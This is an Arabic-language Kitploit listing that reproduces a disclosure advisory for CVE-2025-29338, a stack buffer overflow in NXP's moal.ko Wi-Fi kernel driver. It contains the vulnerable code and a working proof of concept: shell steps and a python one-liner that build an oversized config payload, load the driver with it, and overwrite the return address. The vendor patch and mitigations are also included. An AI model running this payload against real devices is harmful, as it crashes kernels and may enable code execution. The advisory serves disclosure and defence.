Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-29338 — استشارة فنية وإثبات مفهوم لفيضان مخزن مؤقت قائم على المكدس (CWE-121) في برنامج تشغيل نواة Wi-Fi NXP moal.ko، مما يتسبب في انهيار النواة المحلي وتنفيذ تعليمات برمجية عشوائية محتمل. | Kitploit
أدوات/GitHubGitHub/masjadaan/cve-2025-29338
أمان الأنظمة المدمجةتحليل الثغرات الأمنيةالاستغلالأمن الأجهزةاستغلال الملفات الثنائية
GitHubmasjadaan/cve-2025-29338

CVE-2025-29338

استشارة فنية وإثبات مفهوم لفيضان مخزن مؤقت قائم على المكدس (CWE-121) في برنامج تشغيل نواة Wi-Fi NXP moal.ko، مما يتسبب في انهيار النواة المحلي وتنفيذ تعليمات برمجية عشوائية محتمل.

عرض المستودع
33منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-29338 — نشرة أمنية

تجاوز سعة المخزن المؤقت في برنامج تشغيل نواة Wi-Fi moal.ko من NXP (woal_setup_module_param / parse_cfg_get_line)

الحقلالقيمة
معرف CVECVE-2025-29338
الخطورةعالية
درجة CVSS v3.17.8
متجه CVSS v3.1CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
نوع الثغرةتجاوز سعة المخزن المؤقت المستند إلى المكدس (CWE-121)
متجه الهجوممحلي
البائعNXP Semiconductors
حالة تصحيح البائعتم التصحيح
مكتشف الثغرةMahmoud Jadaan — diconium auto GmbH

الملخص

توجد ثغرة تجاوز سعة المخزن المؤقت المستند إلى المكدس في برنامج تشغيل نواة Wi-Fi من NXP، moal.ko (الإصدار 5.1.7.10)، عبر إصدارات البرنامج الثابت v17.92.1.p149.43 حتى v17.92.1.p149.157. تقع الثغرة في parse_cfg_get_line (mlinux/moal_init.c)، والتي يتم استدعاؤها من woal_setup_module_param. تفتقر حلقة while التي تقرأ أسطر ملف الإعدادات في مخزن مؤقت ثابت الحجم على المكدس إلى فحص لحدود الوجهة، مما يسمح لسطر بطول تعسفي بتجاوز سعة المخزن المؤقت وإفساد المكدس والتسبب في انهيار النواة (kernel panic). أكد فريق NXP PSIRT الثغرة وتم إصدار الإصلاح.


المنتجات المتأثرة


تفاصيل الثغرة

السبب الجذري

يخصص woal_setup_module_param مخزنًا مؤقتًا ثابت الحجم على المكدس بحجم MAX_LINE_LEN بايت، ويمرره إلى parse_cfg_get_line في كل تكرار أثناء معالجة ملف الإعدادات mod_para:

root@kitploit:~
// woal_setup_module_param — mlinux/moal_init.c
char line[MAX_LINE_LEN];
...
while (parse_cfg_get_line(data, size, line) != -1) {
    // process line
}

في النسخة المعرّضة للخطر من parse_cfg_get_line، يتحقق شرط حلقة while من موضع المصدر وفواصل الأسطر فقط — لا يوجد أي فحص لعدد البايتات التي تمت كتابتها إلى المخزن المؤقت للوجهة:

root@kitploit:~
// parse_cfg_get_line — vulnerable version (mlinux/moal_init.c)
static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
{
    t_u8 *src, *dest;
    static t_s32 pos;

    if (pos >= size) {
        pos = 0;
        return -1;
    }
    memset(line_pos, 0, MAX_LINE_LEN);
    src = data + pos;
    dest = line_pos;

    while (pos < size && *src != '\x0A' && *src != '\0') {
        if (*src != ' ' && *src != '\t')
            *dest++ = *src++;   // unchecked write — no dest bounds check
        else
            src++;
        pos++;
    }
    pos++;
    *dest = '\0';
    return strlen(line_pos);
}

يتسبب سطر في ملف الإعدادات يزيد طوله عن MAX_LINE_LEN بايت في تجاوز dest لنهاية المخزن المؤقت للمكدس الخاص بالاستدعاء، والكتابة فوق ذاكرة المكدس المجاورة بما في ذلك مؤشر الإطار المحفوظ وعنوان الإرجاع.


متجه الهجوم

يتم تحميل برنامج التشغيل عند إقلاع النظام باستخدام insmod مع معامل mod_para الذي يشير إلى ملف إعدادات. يمكن للمهاجم الذي يستطيع كتابة ملف إعدادات معدّ وإعادة تحميل وحدة النواة أن يطلق تجاوز السعة.


الأثر

الأثرالوصف
حرمان الخدمةانهيار النواة (kernel panic) — مؤكد؛ يسبب إعادة تشغيل فورية للنظام
إفساد ذاكرة النواةتدمير المكدس يكتب فوق rbp المحفوظ وعنوان الإرجاع
تنفيذ كود محتمل

تفصيل CVSS v3.1

الدرجة الأساسية: 7.8 (عالية) CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H


إثبات المفهوم

مقدمة لأغراض دفاعية وبحثية فقط.

الخطوة 1 — إلغاء تحميل الوحدات الموجودة

root@kitploit:~
#!/bin/sh
rmmod moal
rmmod mlan

الخطوة 2 — إنشاء ملف الإعدادات الخبيث

يتم ملء المخزن المؤقت للمكدس بحروف A، تليها 8 بايتات لموضع حارس المكدس (B)، و8 بايتات لـ rbp المحفوظ (C)، و8 بايتات للكتابة فوق عنوان الإرجاع (D):

root@kitploit:~
python3 -c 'print("A"*256 + "B"*8 + "C"*8 + "D"*8)' > payload.bin

الخطوة 3 — تحميل الوحدة مع الإعدادات المعدّلة

يجب أن يكون مسار mod_para نسبيًا إلى الدليل الذي تبحث فيه النواة عن البرامج الثابتة (عادةً /lib/firmware/). أنشئ المسار وفقًا لذلك:

root@kitploit:~
#!/bin/sh
PAYLOAD_PATH=../../<relative_path_to>/payload.bin

insmod /lib/modules/nxp9098/wifi/mlan.ko
insmod /lib/modules/nxp9098/wifi/moal.ko \
    mod_para=$PAYLOAD_PATH \
    drvdbg=0x7

الخطوة 4 — النتيجة المرصودة

يتم إطلاق انهيار النواة (kernel panic) فورًا أثناء تهيئة الوحدة. تؤكد سجلات النواة أن عنوان الإرجاع تمت الكتابة فوقه بالقيمة 0x4444444444444444 (ASCII DDDDDDDD)، مما يثبت السيطرة الكاملة على مؤشر التعليمات:

root@kitploit:~
[insmod] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
         woal_setup_module_param+0xd4/0x3e4 [moal]
[insmod] 0x4444444444444444   <-- controlled return address

تصحيح البائع

أكد فريق NXP PSIRT الثغرة وقدّم التصحيح التالي إلى mlinux/moal_init.c. يضيف الإصلاح فحصًا لحدود الوجهة داخل حلقة parse_cfg_get_line للخروج قبل تجاوز MAX_LINE_LEN:

root@kitploit:~
--- a/src/wlan_src/moal/linux/moal_init.c
+++ b/src/wlan_src/moal/linux/moal_init.c
@@ -723,6 +723,10 @@ static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
              else
                      src++;
              pos++;
+              if ((dest - line_pos) >= (MAX_LINE_LEN-1)) {
+                      PRINTM(MERROR, "input data size exceeds the dest buff limit\n");
+                      break;
+              }
       }
       /* parse new line */
       pos++;

التخفيف

قم بالتحديث إلى إصدار برنامج ثابت أحدث من v17.92.1.p149.157 يتضمن التصحيح أعلاه. كتحصين إضافي:

  1. تقييد تحميل الوحدات — اقتصر CAP_SYS_MODULE على المسؤولين الموثوقين؛ وفرض قيود استدعاء النظام init_module / finit_module عبر SELinux أو AppArmor أو seccomp.
  2. حماية مسارات ملفات الإعدادات — تأكد من أن المسار المشار إليه بواسطة mod_para والملفات التي يشير إليها قابلة للكتابة من قبل الجذر root فقط.

المراجع

  • برنامج تشغيل NXP mwifiex (GPL): https://github.com/nxp-imx/mwifiex
  • ملاحظات إصدار NXP: https://www.nxp.com/docs/en/release-note/RN00104.pdf

حالة البائع

أكد فريق NXP PSIRT الثغرة. تم إصدار الإصلاح كجزء من تحديث برمجي رسمي.


الاعتمادات

مكتشف الثغرة: Mahmoud Jadaan — diconium auto GmbH


تُنشر هذه النشرة كمرجع عام للوفاء بالحد الأدنى من متطلبات الإفصاح عن CVE وفقًا لبرنامج CVE.

تنزيل الأداة
الحقلالتفاصيل
البائعNXP Semiconductors
المكوّنبرنامج تشغيل نواة Wi-Fi moal.ko
إصدار برنامج التشغيل5.1.7.10
البرنامج الثابت — أول إصدار متأثرv17.92.1.p149.43
البرنامج الثابت — آخر إصدار متأثرv17.92.1.p149.157
السمة
القيمة
النوعمحلي
الصلاحيات المطلوبةCAP_SYS_MODULE (الجذر أو ما يعادله)
تفاعل المستخدملا يوجد
سطح الهجوممعامل وحدة النواة mod_para (مسار ملف الإعدادات)
عنوان الإرجاع مسيطر عليه — قد يكون تنفيذ كود عشوائي في وضع النواة ممكنًا اعتمادًا على آليات التخفيف المطبقة (حارس المكدس، KASLR، إلخ.)
المقياسالقيمةالأساس المنطقي
متجه الهجوم (AV)محلي (L)يتطلب وصولًا محليًا إلى النظام
تعقيد الهجوم (AC)منخفض (L)لا توجد حالات سباق أو متطلبات مسبقة معقدة
الصلاحيات المطلوبة (PR)عالية (H)يتطلب CAP_SYS_MODULE / صلاحيات الجذر
تفاعل المستخدم (UI)لا شيء (N)يتحكم المهاجم بالكامل
النطاق (S)غير متغير (U)يبقى الأثر ضمن سياق النواة
السرية (C)عالية (H)ذاكرة النواة قد تكون قابلة للقراءة
السلامة (I)عالية (H)تم إثبات الكتابة فوق عنوان الإرجاع
التوافر (A)عالية (H)انهيار النواة / إعادة التشغيل مؤكدان